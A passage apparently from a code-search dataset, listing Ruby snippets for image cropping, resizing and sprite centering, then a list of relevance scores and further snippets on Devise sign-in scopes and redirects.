"def scale_aspect_to_fill_size(aSize)\n if aSize.width/aSize.height > size.width/size.height\n croppedImg = image_by_cropping_to_center_size(CGSize.new(size.width, (size.width/aSize.width * aSize.height).to_i))\n else\n croppedImg = image_by_cropping_to_center_size(CGSize.new((size.height/aSize.height * aSize.width).to_i, size.height))\n end\n\n croppedImg.scale_to_size(aSize)\n end",
"def crop_to_fit(width, height)\n @image = @image.crop_to_fit(width, height)\n self\n end",
"def crop(x, y, crop_width, crop_height)\n dup.crop!(x, y, crop_width, crop_height)\n end",
"def resize_to_fill(width, height, gravity=::Magick::CenterGravity)\n width = dimension_from width\n height = dimension_from height\n manipulate! do |img|\n img.crop_resized!(width, height, gravity)\n img = yield(img) if block_given?\n img\n end\n end",
"def crop_to(width, height)\n # Checks that crop area is defined and crop should be done.\n if ((crop_args[0] == crop_args[2]) || (crop_args[1] == crop_args[3]))\n # If not creates default image and saves it's dimensions.\n resize_to_fill_and_save_dimensions(width, height)\n else\n args = crop_args + [width, height]\n crop_and_resize(*args)\n end\n end",
"def resize_to_fill(new_width, new_height)\n manipulate! do |image|\n\n image = resize_image image, new_width, new_height, :max\n\n if image.width > new_width\n top = 0\n left = (image.width - new_width) / 2\n elsif image.height > new_height\n left = 0\n top = (image.height - new_height) / 2\n else\n left = 0\n top = 0\n end\n\n # Floating point errors can sometimes chop off an extra pixel\n # TODO: fix all the universe so that floating point errors never happen again\n new_height = image.height if image.height < new_height\n new_width = image.width if image.width < new_width\n\n image.extract_area(left, top, new_width, new_height)\n\n end\n end",
"def manualcrop\n if model.crop?\n x = model.x.to_d\n y = model.y.to_d\n x2 = model.x2.to_d\n y2 = model.y2.to_d\n scale = model.scale.to_d\n\n manipulate! do |img|\n img = img.scale(1/scale)\n img = img.crop(x, y, x2-x, y2-y)\n end\n end\n end",
"def cut_to_fit(options)\n %Q{-thumbnail #{options.width}x#{options.height}^ \\\n -gravity #{options.gravity} \\\n -unsharp 0x.5 \\\n -auto-orient \\\n -extent #{options.width}x#{options.height}}\n end",
"def scale_to_cover(new_width, new_height, &block)\n raise ArgumentError, \"must supply the width and/or height\" if new_width.nil? && new_height.nil?\n if new_height.nil? || (!new_width.nil? && height*new_width > width*new_height)\n squish(new_width, height*new_width/width, &block)\n else\n squish(width*new_height/height, new_height, &block)\n end\n end",
"def clip_to(x, y, w, h, &rendering_code); end",
"def scale_to_fill(new_size, position:position, scale:scale)\n new_size = SugarCube::CoreGraphics::Size(new_size)\n my_size = self.size\n if new_size.width == my_size.width && new_size.height == my_size.height && self.scale == scale\n return self\n end\n\n # first, scale down; then we'll scale back up if we went too far\n if my_size.width > new_size.width\n my_size.height *= new_size.width / my_size.width\n my_size.width = new_size.width\n end\n\n if my_size.height > new_size.height\n my_size.width *= new_size.height / my_size.height\n my_size.height = new_size.height\n end\n\n if my_size.width < new_size.width\n my_size.height *= new_size.width / my_size.width\n my_size.width = new_size.width\n end\n\n if my_size.height < new_size.height\n my_size.width *= new_size.height / my_size.height\n my_size.height = new_size.height\n end\n\n if self.size.width == my_size.width && self.size.height == my_size.height\n return self\n end\n\n if position.is_a?(Symbol)\n min_x = 0\n min_y = 0\n max_x = my_size.width\n max_y = my_size.height\n mid_x = max_x / 2\n mid_y = max_y / 2\n case position\n when :top_left, :topleft\n position = CGPoint.new(min_x, min_y)\n when :top\n position = CGPoint.new(mid_x, min_y)\n when :top_right, :topright\n position = CGPoint.new(max_x, min_y)\n when :left\n position = CGPoint.new(min_x, mid_x)\n when :center\n position = CGPoint.new(mid_x, mid_x)\n when :right\n position = CGPoint.new(max_x, mid_x)\n when :bottom_left, :bottomleft\n position = CGPoint.new(min_x, max_y)\n when :bottom\n position = CGPoint.new(mid_x, max_y)\n when :bottom_right, :bottomright\n position = CGPoint.new(max_x, max_y)\n else\n raise \"Unknown position #{position.inspect}\"\n end\n else\n position = SugarCube::CoreGraphics::Point(position)\n end\n thumbnail_x = position.x * (new_size.width - my_size.width) / my_size.width\n thumbnail_y = position.y * (new_size.height - my_size.height) / my_size.height\n\n UIGraphicsBeginImageContextWithOptions(new_size, false, scale)\n thumbnail_rect = CGRectZero\n thumbnail_rect.origin = [thumbnail_x, thumbnail_y]\n thumbnail_rect.size = my_size\n\n self.drawInRect(thumbnail_rect)\n\n new_image = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n\n raise \"could not scale image\" unless new_image\n\n return new_image\n end",
"def resize\n @image.resize \"#{@placement[:a]}x#{OUTER}\\!\"\n end",
"def round_corners(dst)\n command = \"\\\"#{ File.expand_path(@thumbnail.path) }[0]\\\" #{ transformation } \\\"#{ File.expand_path(dst.path) }\\\"\"\n Paperclip.run('convert', command)\n dst\n end",
"def resize_to_limit(new_width, new_height)\n manipulate! do |image|\n image = resize_image(image,new_width,new_height) if new_width < image.x_size || new_height < image.y_size\n image\n end\n end",
"def center_im(sprite)\n sprite.ox = sprite.width / 2\n sprite.oy = sprite.height / 2\n end",
"def crop_from_after_crop_area_resize(crop_from, crop_size, old_crop_size, gravity)\n if old_crop_size[:width] != crop_size[:width]\n case gravity[:x]\n # No adjustment when left\n when \"center\"\n crop_from[:x] += (old_crop_size[:width] - crop_size[:width]) / 2\n when \"right\"\n crop_from[:x] += old_crop_size[:width] - crop_size[:width]\n end\n end\n\n if old_crop_size[:height] != crop_size[:height]\n case gravity[:y]\n # No adjustment when top\n when \"center\"\n crop_from[:y] += (old_crop_size[:height] - crop_size[:height]) / 2\n when \"bottom\"\n crop_from[:y] += old_crop_size[:height] - crop_size[:height]\n end\n end\n\n crop_from\n end",
"def resize(w, h)\r\n @x2 = @x1 + w\r\n @y2 = @y1 + h\r\n end",
"def to_square x, y, anchor_x = 0.5, anchor_y = nil\n GTK::Geometry.to_square(self, x, y, anchor_x, anchor_y)\n end",
"def center size\n x = self.x + (size.width / 2.0)\n y = self.y + (size.height / 2.0)\n CGPoint.new(x, y)\n end",
"def resize_with_crop(w, h, options = {})\n gravity = options[:gravity] || :center\n\n w_original, h_original = [img[:width].to_f, img[:height].to_f]\n\n op_resize = ''\n\n # check proportions\n if w_original * h < h_original * w\n op_resize = \"#{w.to_i}x\"\n w_result = w\n h_result = (h_original * w / w_original)\n else\n op_resize = \"x#{h.to_i}\"\n w_result = (w_original * h / h_original)\n h_result = h\n end\n\n w_offset, h_offset = crop_offsets_by_gravity(gravity, [w_result, h_result], [ w, h])\n\n img.combine_options do |i|\n i.resize(op_resize)\n i.gravity(gravity)\n i.crop \"#{w.to_i}x#{h.to_i}+#{w_offset}+#{h_offset}!\"\n end\n\n img\n end",
"def center_crop_geometry_string\n params[:upsample] == 'true' ? \"#{@size}#\" : \"#{normalized_sizes(*@size.split('x'))}#\"\n end",
"def shrink_to_fit(new_width, new_height, &block)\n new_width, new_height = scale_dimensions_to_fit(new_width, new_height)\n return block.call(self) if new_width >= width && new_height >= height\n squish(new_width, new_height, &block)\n end",
"def crop!(image, width, height, x_offset = 0, y_offset = 0, gravity: \"NorthWest\")\n with_minimagick(image) do |img|\n img.combine_options do |cmd|\n yield cmd if block_given?\n cmd.gravity gravity\n cmd.crop \"#{width}x#{height}+#{x_offset}+#{y_offset}\"\n end\n end\n end",
"def center_sprite(sprite)\r\n\r\nsprite.ox = sprite.bitmap.width / 2\r\n\r\nsprite.oy = sprite.bitmap.height / 2\r\n\r\nsprite.x = Graphics.width / 2\r\n\r\nsprite.y = Graphics.height / 2\r\n\r\nend",
"def crop(geometry, anchor = :mc, anchor_y = nil)\n \t if anchor.is_a?(Symbol)\n easy_crop(geometry, anchor)\n\t else\n\t manual_crop(geometry, anchor, anchor_y)\n end\n \tend",
"def set_rect(width, height)\n @width, @height = width, height\n zoom_x, zoom_y = (@width.to_f/@image_w.to_f)*@scale[0], (@height.to_f/@image_h.to_f)*@scale[1]\n @background.zoom_x, @background.zoom_y = zoom_x, zoom_y\n if @frame then @frame.zoom_x, @frame.zoom_y = zoom_x, zoom_y end\n end",
"def resize_to_limit(width, height)\n manipulate! do |image|\n image = resize_image(image, width, height) if width < image.x_size || height < image.y_size\n image\n end\n self\n end",
"def image_by_cropping_to_rect(aRect)\n if aRect.is_a? CGRect\n cropped = CGImageCreateWithImageInRect(self.CGImage, [[aRect.origin.x*self.scale, aRect.origin.y*self.scale], [aRect.size.width*self.scale, aRect.size.height*self.scale]])\n else\n cropped = CGImageCreateWithImageInRect(self.CGImage, [[aRect[0][0]*self.scale, aRect[0][1]*self.scale], [aRect[1][0]*self.scale, aRect[1][1]*self.scale]])\n end\n UIImage.imageWithCGImage(cropped, scale:self.scale, orientation:self.imageOrientation)\n end",
"def recreate_cropped_image\n if file.exists?\n img = ThumbMagick::Image.new(file.path('tocrop'))\n img.\n thumbnail(\"#{ (resize * 100).to_i }%\").\n crop(\"#{crop_w}x#{crop_h}\", crop_x, crop_y).\n write(file.path('cropped'))\n end \n end",
"def resize_to_limit(width, height)\n width = dimension_from width\n height = dimension_from height\n manipulate! do |img|\n geometry = Magick::Geometry.new(width, height, 0, 0, Magick::GreaterGeometry)\n new_img = img.change_geometry(geometry) do |new_width, new_height|\n img.resize(new_width, new_height)\n end\n destroy_image(img)\n new_img = yield(new_img) if block_given?\n new_img\n end\n end",
"def crop!(left: 0, top: 0, width: nil, height: nil)\n manipulate! do |image|\n begin\n do_crop image, left, top, width, height\n rescue VIPS::Error => e\n e.message =~ /extract_area/ ? image : raise(e)\n end\n end\n end",
"def square_params(justify = :center)\n metadata = Djatoka::Metadata.new(resolver, rft_id).perform\n # since nil.to_i #=> 0 \n # check that height and width are present otherwise our calculations will \n # fail and raise an error. We want to avoid that and would rather show a \n # broken image than raise--at least for now. \n if metadata.height and metadata.width \n orig_height = metadata.height.to_i\n orig_width = metadata.width.to_i\n if query.scale and query.scale.split.length == 1\n # scaling an image without picking a good level results in poor image\n # quality\n level(pick_best_level(metadata))\n end\n if query.level\n good_query_level = query.level.to_i\n height = metadata.all_levels[good_query_level].height\n width = metadata.all_levels[good_query_level].width\n else\n height = orig_height\n width = orig_width\n end\n # x & y are always the inset of the original image size\n # height and width are relative to the level selected and one if not already\n # a square then the longest side is cropped.\n if height != width\n # portrait\n if height > width\n h = width.to_s\n w = width.to_s\n if justify == :center\n x = '0'\n y = ((orig_height - orig_width)/2).to_s\n elsif justify == :top_left\n x = '0'\n y = '0'\n elsif justify == :bottom_right\n x = '0'\n y = (orig_height - orig_width).to_s\n end\n\n # landscape\n elsif width > height\n h = height.to_s\n w = height.to_s\n if justify == :center\n y = '0'\n x = ((orig_width - orig_height)/2).to_s\n elsif justify == :top_left\n x = '0'\n y = '0'\n elsif justify == :bottom_right\n y = '0'\n x = (orig_width - orig_height).to_s\n end\n end\n region([y,x,h,w])\n end\n end\n end",
"def setCropArea(x, y, width, height)\n setCropAreaX(x)\n setCropAreaY(y)\n setCropAreaWidth(width)\n setCropAreaHeight(height)\n self\n end",
"def setCropArea(x, y, width, height)\n setCropAreaX(x)\n setCropAreaY(y)\n setCropAreaWidth(width)\n setCropAreaHeight(height)\n self\n end",
"def setCropArea(x, y, width, height)\n setCropAreaX(x)\n setCropAreaY(y)\n setCropAreaWidth(width)\n setCropAreaHeight(height)\n self\n end",
"def cut_image(source, width, height, dest = nil)\r\n dest ||= default_dest(source, \"cut\")\r\n image = MiniMagick::Image.from_file(source)\r\n image.crop \"#{width}x#{height}+0+0\"\r\n image.write dest\r\n dest\r\n end",
"def easy_crop(geometry, anchor)\n ow,oh = dimensions # Before crop\n \t w,h = geometry.strip.split('x').map{|n|n.to_i} # Target dimensions\n \t\tanchor_x, anchor_y = case anchor\n \t\t\twhen :tl\n \t\t\t\t[ 0 , 0 ]\n \t\t\twhen :tc\n \t\t\t\t[ ((ow - w) / 2.0).round , 0]\n \t\t\twhen :tr\n \t\t\t\t[ ow - w , 0 ]\n \t\t\twhen :ml\n \t\t\t\t[ 0 , ((oh - h) / 2.0).round ]\n \t\t\twhen :mc\n \t\t\t\t[ ((ow - w) / 2.0).round , ((oh - h) / 2.0).round ]\n \t\t\twhen :mr\n \t\t\t\t[ ow - w , ((oh - h) / 2.0).round ]\n \t\t\twhen :bl\n \t\t\t\t[ 0 , oh - h]\n \t\t\twhen :bc\n \t\t\t\t[ ((ow - w) / 2.0).round , oh - h ]\n \t\t\twhen :br\n \t\t\t\t[ ow - w , oh - h]\n \t\tend\n \t\tmanual_crop(geometry, anchor_x, anchor_y)\n\t end",
"def create_resized_image\n create_image do |xfrm|\n if size\n MiniMagick::Tool::Convert.new do |cmd|\n cmd << xfrm.path # input\n cmd.flatten\n cmd.resize(size)\n cmd << xfrm.path # output\n end\n end\n end\n end",
"def resize_to_fill(width, height, gravity = 'Center')\n manipulate! do |img|\n cols, rows = img.dimensions[:x].to_i, img.dimensions[:y].to_i\n opt={}\n if width != cols || height != rows\n scale = [width/cols.to_f, height/rows.to_f].max\n cols = (scale * (cols + 0.5)).round\n rows = (scale * (rows + 0.5)).round\n opt[:resize] = \"#{cols}x#{rows}\"\n end\n opt[:gravity] = gravity\n opt[:background] = \"rgba(255,255,255,0.0)\"\n opt[:extent] = \"#{width}x#{height}\" if cols != width || rows != height\n img.manipulate!(opt)\n img = yield(img) if block_given?\n img\n end\n end",
"def scale_inside(other)\n wratio = other.width / width\n hratio = other.height / height\n if wratio < hratio\n Size.new(other.width, height * wratio)\n else\n Size.new(width * hratio, other.height)\n end\n end",
"def crop(*args)\n with_command %(-crop \"#{Geometry.new(*args).to_s(true)}\")\n end",
"def centre\n [(height / 2), (width / 2)]\n end",
"def resize(width, height)\n end",
"def std() CGRectStandardize(self) end",
"def scale_within(new_size)\n target_size = SugarCube::CoreGraphics::Size(new_size)\n image_size = self.size\n\n if CGSizeEqualToSize(target_size, self.size)\n return self\n end\n\n width = image_size.width\n height = image_size.height\n\n target_width = target_size.width\n target_height = target_size.height\n\n width_factor = target_width / width\n height_factor = target_height / height\n\n if width_factor < height_factor\n scale_factor = width_factor\n else\n scale_factor = height_factor\n end\n\n if scale_factor == 1\n return self\n end\n\n scaled_size = CGSize.new(width * scale_factor, height * scale_factor)\n return scale_to(scaled_size)\n end",
"def crop\n block = block_given? ? Proc.new : Arigatomation::LUMINANCE\n left_x, right_x, top_y, bottom_y = lrc.x, ulc.x, lrc.y, ulc.y\n changed = false\n\n each do |point|\n if !block.call(self[point])\n changed = true\n left_x = point.x if point.x < left_x\n right_x = point.x if point.x > right_x\n top_y = point.y if point.y < top_y\n bottom_y = point.y if point.y > bottom_y\n end\n end\n\n return self unless changed\n $log.debug \"CROPPED to #{[left_x, top_y, right_x, bottom_y].join(\", \")}\"\n capture(Arigatomation::Point.new(left_x, top_y), Arigatomation::Point.new(right_x, bottom_y))\n rescue\n $log.error \"Crop error: #{$!}\"\n end",
"def resize_to_fit width, height\n manipulate! do |image|\n cols = image.width\n rows = image.height\n\n if width != cols or height != rows\n scale = [width/cols.to_f, height/rows.to_f].min\n cols = (scale * (cols + 0.5)).round\n rows = (scale * (rows + 0.5)).round\n image.resize cols, rows do |img|\n yield(img) if block_given?\n img.save current_path\n end\n end\n end\n end",
"def crop(t, l, b, r)\n orig_w = orig_h = 460\n new_w = r - l\n new_h = t - b\n o_x = l\n o_y = orig_h - t\n geom = \"#{new_w.round}x#{new_h.round}+#{o_x.round}+#{o_y.round}\"\n `convert #{@fn} -crop #{geom} +repage #{@fn}`\n end",
"def resize_dimensions(original_dimensions, style)\n if style.filled?\n style.dimensions\n else\n original_aspect_ratio = original_dimensions[0].to_f / original_dimensions[1]\n target_aspect_ratio = style.dimensions[0].to_f / style.dimensions[1]\n if original_aspect_ratio > target_aspect_ratio\n width = style.dimensions[0]\n height = (width / original_aspect_ratio).round\n else\n height = style.dimensions[1]\n width = (height * original_aspect_ratio).round\n end\n [width, height]\n end\n end",
"def extract_thumb(input, output, width, height)\n Image::Editing::ResizeToFill.new(input, output, width, height).run\n end",
"def resize!\n end",
"def crop(crop, input=nil, output=nil)\n inout \"crop=x=%{left}:y=%{top}:w=%{width}:h=%{height}\", input, output, crop\n end",
"def center_sprite(sprite)\n sprite.ox = sprite.bitmap.width / 2\n sprite.oy = sprite.bitmap.height / 2\n sprite.x = Graphics.width / 2\n sprite.y = Graphics.height / 2\n end",
"def center_sprite(sprite)\n sprite.ox = sprite.bitmap.width / 2\n sprite.oy = sprite.bitmap.height / 2\n sprite.x = Graphics.width / 2\n sprite.y = Graphics.height / 2\n end",
"def crop_avatar(args)\n self.crop_x = args[\"crop_x\"]\n self.crop_y = args[\"crop_y\"]\n self.crop_w = args[\"crop_w\"]\n self.crop_h = args[\"crop_h\"]\n avatar.reprocess!\n end",
"def center_sprite(sprite)\r\n \tsprite.ox = sprite.bitmap.width / 2\r\n \tsprite.oy = sprite.bitmap.height / 2\r\n \tsprite.x = Graphics.width / 2\r\n \tsprite.y = Graphics.height / 2\r\n end",
"def cropped_thumbnail(size) # :yields: image\n w, h = width, height\n l, t, r, b, half = 0, 0, w, h, (w - h).abs / 2\n\n l, r = half, half + h if w > h\n t, b = half, half + w if h > w\n\n with_crop(l, t, r, b) do |img|\n img.thumbnail(size) do |thumb|\n yield thumb\n end\n end\n end",
"def my_resize(width, height)\n manipulate! do |img|\n img.resize \"#{width}x#{height}!\"\n img\n end\n end",
"def resize(w, h, animate=false)\n b = current_bounds\n w = absolutize_size(w, :width)\n h = absolutize_size(h, :height)\n app.windows[0].bounds.set([ b[0], b[1] + height, b[0] + w, b[1] + h + height ])\n end",
"def resize_and_pad(width, height, background=:transparent, gravity='Center')\n manipulate! do |img|\n opt={}\n opt[:thumbnail] = \"#{width}x#{height}>\"\n background == :transparent ? opt[:background] = \"rgba(255, 255, 255, 0.0)\" : opt[:background] = background\n opt[:gravity] = gravity\n opt[:extent] = \"#{width}x#{height}\"\n img.manipulate!(opt)\n img = yield(img) if block_given?\n img\n end\n end",
"def center!\n @ob.center\n self\n end",
"def keep_in_screen(src_rect)\n rect = src_rect.dup\n screct = screen_rect\n shrinkW = 0\n shrinkH = 0\n if rect.x < 0\n shrinkW = rect.x.abs\n rect.w -= shrinkW\n rect.x = 0\n end\n if rect.right > screct.right\n shrinkW = rect.right - screct.right\n rect.w = rect.w - shrinkW\n rect.right = screct.right\n end\n \n if rect.y < 0\n shrinkH = rect.y.abs\n rect.h -= shrinkH\n rect.y = 0\n end\n if rect.bottom > screct.bottom\n shrinkH = rect.bottom - screct.bottom\n rect.h -= shrinkH\n rect.bottom = screct.bottom\n end\n return rect\n end",
"def clip\n max_h, max_w = w.h, w.w\n\n if x < 0 then\n self.x = x.abs\n return :west\n elsif x > max_w then\n self.x = 2 * max_w - x\n return :east\n end\n\n if y < 0 then\n self.y = y.abs\n return :south\n elsif y > max_h then\n self.y = 2 * max_h - y\n return :north\n end\n\n nil\n end",
"def calculate_maximum_square_size width, height, margins\n # maximum width is trimmed by opponent's view width\n main_player_view_width = WINDOW_WIDTH - OPPONENT_VIEW_WIDTH\n maximum_width = main_player_view_width - margins[:x] * 2\n maximum_height = WINDOW_HEIGHT - margins[:y] - margins[:y_bottom]\n maximum_square_size_in_width = maximum_width / width\n maximum_square_size_in_height = maximum_height / height\n\n # get the smallest possible size to fit the 'viewable' screen\n best_square_size = maximum_square_size_in_width >= maximum_square_size_in_height ?\n maximum_square_size_in_height :\n maximum_square_size_in_width\n\n # readjust player's board to the center\n margins[:x] = (main_player_view_width - width * best_square_size).to_f / 2\n margins[:y] += (WINDOW_HEIGHT - margins[:y] - height * best_square_size) / 2\n\n # return new square size\n best_square_size\nend",
"def center(sprite)\n sprite.ox = sprite.width / 2\n sprite.oy = sprite.height / 2\n end",
"def resize_and_move_holst(holst, frame_width, frame_height)\n photo = Image.read(URI.decode('public' + holst.image.url))[0]\n move = translation_holst(holst.positions, photo, frame_width, frame_height)\n photo = resize_to_fill_holst(photo, frame_width, frame_height)\n photo_done = Image.new(frame_width, frame_height).composite!(photo, move[0], move[1], OverCompositeOp)\n end",
"def resize_to_limit(new_width, new_height)\n manipulate! do |image|\n image = resize_image(image,new_width,new_height) if new_width < image.width || new_height < image.height\n image\n end\n end",
"def scale_to_fill(new_size)\n scale_to_fill(new_size, position: :center)\n end",
"def resize_to_fit(width, height)\n manipulate! do |img|\n img.manipulate!(:resize => \"#{width}x#{height}\")\n img = yield(img) if block_given?\n img\n end\n end",
"def scale_to(new_size, background:background)\n new_size = SugarCube::CoreGraphics::Size(new_size)\n\n image_size = self.size\n\n if CGSizeEqualToSize(image_size, new_size)\n return self\n end\n\n new_image = nil\n width = image_size.width\n height = image_size.height\n\n target_width = new_size.width\n target_height = new_size.height\n\n scale_factor = 0.0\n scaled_width = target_width\n scaled_height = target_height\n\n thumbnail_point = CGPoint.new(0.0, 0.0)\n width_factor = target_width / width\n height_factor = target_height / height\n\n if width_factor < height_factor\n scale_factor = width_factor\n else\n scale_factor = height_factor\n end\n\n scaled_width = width * scale_factor\n scaled_height = height * scale_factor\n\n # center the image\n\n if width_factor < height_factor\n thumbnail_point.y = (target_height - scaled_height) * 0.5\n elsif width_factor > height_factor\n thumbnail_point.x = (target_width - scaled_width) * 0.5\n end\n\n # this is actually the interesting part:\n\n UIGraphicsBeginImageContextWithOptions(new_size, false, self.scale)\n\n if background\n background = background.uicolor\n context = UIGraphicsGetCurrentContext()\n background.setFill\n CGContextAddRect(context, [[0, 0], new_size])\n CGContextDrawPath(context, KCGPathFill)\n end\n\n thumbnail_rect = CGRectZero\n thumbnail_rect.origin = thumbnail_point\n thumbnail_rect.size.width = scaled_width\n thumbnail_rect.size.height = scaled_height\n\n self.drawInRect(thumbnail_rect)\n\n new_image = UIGraphicsGetImageFromCurrentImageContext()\n UIGraphicsEndImageContext()\n\n raise \"could not scale image\" unless new_image\n\n return new_image\n end",
"def tile_crop_resize(image, dpi)\n size = {\n 'x' => image.columns,\n 'y' => image.rows\n }\n\n resize = false\n\n ['x', 'y'].each do |a|\n if (@field['size' + a])\n size[a] = @field['size' + a]*dpi\n resize = true\n end\n end\n\n if (@field['tile'])\n image = tile_image(image, dpi) if @field['tile']\n elsif (resize)\n scaleX = size['x']/image.columns\n scaleY = size['y']/image.rows\n\n scale = scaleX\n scale = scaleY if scaleY > scaleX\n\n image.resize!(image.columns*scale, image.rows*scale, Magick::LanczosFilter, 0.7)\n end\n\n image.crop!(Magick::CenterGravity, size['x'], size['y']) if (@field['crop'])\n\n return image\n end",
"def center\n CGPointMake(@target.bounds.size.width, @target.bounds.size.height)\n end",
"def center_window\n self.x = (Graphics.width - self.width)/2\n self.y = (Graphics.height - self.height)/2\n end"
] | [
"0.7075364",
"0.6935234",
"0.6606016",
"0.65331835",
"0.6484095",
"0.6465967",
"0.6382893",
"0.637307",
"0.6359863",
"0.63013375",
"0.62776214",
"0.6276094",
"0.6238306",
"0.61736935",
"0.61469185",
"0.61461484",
"0.611072",
"0.61086005",
"0.610806",
"0.60886246",
"0.60809094",
"0.6061271",
"0.60442644",
"0.60334235",
"0.5986072",
"0.59666795",
"0.5926198",
"0.58713925",
"0.5861269",
"0.5860485",
"0.5846162",
"0.58441204",
"0.5829813",
"0.58012354",
"0.57714033",
"0.5752536",
"0.57507277",
"0.5734823",
"0.5725798",
"0.57196575",
"0.57123387",
"0.5683244",
"0.5682966",
"0.56804866",
"0.56587046",
"0.56423914",
"0.5630116",
"0.5623903",
"0.5616693",
"0.56158",
"0.561421",
"0.5608304",
"0.5604982",
"0.55988544",
"0.55865806",
"0.5582964",
"0.5580079",
"0.55721366",
"0.5568587",
"0.55651844",
"0.5564443",
"0.5564443",
"0.5563223",
"0.5549221",
"0.55367196",
"0.55246806",
"0.5516352",
"0.5510322",
"0.5503765",
"0.5495512",
"0.5489356",
"0.5487658",
"0.5486657",
"0.5482563",
"0.5479952",
"0.5475123",
"0.54734546",
"0.54704165",
"0.5469501",
"0.5469413",
"0.5469413",
"0.54459953",
"0.5440995",
"0.542143",
"0.5417997",
"0.5417083",
"0.5404909",
"0.54014856",
"0.54004097",
"0.5398952",
"0.5398735",
"0.5394112",
"0.5392819",
"0.5388413",
"0.5382591",
"0.5381654",
"0.53740734",
"0.53476506",
"0.5345133",
"0.5340033"
] | 0.6777141 | 2 |
Sets the devise scope to be used in the controller. If you have custom routes, you are required to call this method (also aliased as :as) in order to specify to which controller it is targeted. as :user do get "sign_in", to: "devise/sessionsnew" end Notice you cannot have two scopes mapping to the same URL. And remember, if you try to access a devise controller without specifying a scope, it will raise ActionNotFound error. Also be aware of that 'devise_scope' and 'as' use the singular form of the noun where other devise route commands expect the plural form. This would be a good and working example. devise_scope :user do get "/some/route" => "some_devise_controller" end devise_for :users Notice and be aware of the differences above between :user and :users source://devise//lib/devise/rails/routes.rb363 | def as(scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_scope(scope)\n constraint = lambda do |request|\n request.env[\"devise.mapping\"] = Devise.mappings[scope]\n true\n end\n\n constraints(constraint) do\n yield\n end\n end",
"def devise_scope(scope); end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def sign_in(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n warden.set_user(resource, :scope => scope)\n end",
"def set_scope\n if (scope = params[:scope])\n if @resource.respond_to?(scope)\n @resource = @resource.send(scope)\n else\n not_allowed\n end\n end\n end",
"def scope_to(*args, &block)\n config.scope_to(*args, &block)\n end",
"def set_user_in_warden(scope, resource)\n scope = Devise::Mapping.find_scope!(scope)\n warden.set_user(resource, scope: scope, store: false)\n end",
"def auto_detect_scope(*args)\n options = args.extract_options!\n\n if options.key?(:for)\n options[:scope] = options[:for]\n ::ActiveSupport::Deprecation.warn(\"DEPRECATION: \" <<\n \"Devise scope :for option is deprecated. \" <<\n \"Use: facebook_*_link(:some_scope), or facebook_*_link(:scope => :some_scope)\")\n end\n\n scope = args.detect { |arg| arg.is_a?(Symbol) } || options[:scope] || ::Devise.default_scope\n mapping = ::Devise.mappings[scope]\n\n if mapping.for.include?(:facebook)\n scope\n else\n error_message =\n \"%s\" <<\n \" Did you forget to devise facebook_connect in your model? Like this: devise :facebook_connectable.\" <<\n \" You can also specify scope explicitly, e.g.: facebook_*link :for => :customer.\"\n error_message %=\n if scope.present?\n \"#{scope.inspect} is not a valid facebook devise scope. \" <<\n \"Loaded modules for this scope: #{mapping.for.inspect}.\"\n else\n \"Could not auto-detect any facebook_connectable devise scope.\"\n end\n raise error_message\n end\n end",
"def auth_options\n { scope: resource_name }\n end",
"def translation_scope\n \"devise.#{controller_name}\"\n end",
"def sign_in_and_redirect2(resource_or_scope, *args)\n options = args.extract_options!\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource = args.last || resource_or_scope\n sign_in(scope, resource, options)\n redirect_to stored_location_for(:user) || root_path # thanks_for_registration_path\n end",
"def set_scope\n @scope = Scope.find(params[:id])\n end",
"def set_scope\n @scope = Scope.find(params[:id])\n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin/' if !resource_or_scope.blank? && resource_or_scope.is_a?(Admin)\n super\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user.id)\n end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n\t scope = Devise::Mapping.find_scope!(resource_or_scope)\n\t resource ||= resource_or_scope\n\t sign_in(scope, resource) unless warden.user(scope) == resource\n\t # redirect_to stored_location_for(scope) || after_sign_in_path_for(resource)\n\t render :json => {:status => :signed_in}\n\tend",
"def scope scope = nil, &proc\n @scope = (proc || scope) if (scope || proc) && configurable?\n @setup[:scope] ||= @scope ||\n (@controller.ctrl.slice.view.scope if @controller)\n end",
"def after_sign_in_path_for(resource_or_scope)\n \"/users/#{current_user.id}\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/user'\n end",
"def sign_in(resource_or_scope, resource=nil)\n scope ||= Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n warden.instance_variable_get(:@users).delete(scope)\n warden.session_serializer.store(resource, scope)\n end",
"def after_sign_in_path_for(resource_or_scope); end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n sign_in(scope, resource) unless warden.user(scope) == resource\n redirect_to stored_location_for(scope) || after_sign_in_path_for(resource)\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope == :user\n dash_user_path(:user)\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def resource_scope=(resource_scope)\n @resource_scope = \"/#{resource_scope}\"\n end",
"def selected_scope\n (params[:scope] || :default).to_sym\n end",
"def after_sign_in_path_for(resource_or_scope)\n current_user # redirects to a user's show page\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.kind_of?(User)\n account_surveys_path\n else #Admins [for future]\n super(resource_or_scope)\n end\n end",
"def authenticate_scope!\r\n send(:\"authenticate_user!\", :force => true)\r\n self.resource = send(:\"current_user\")\r\n end",
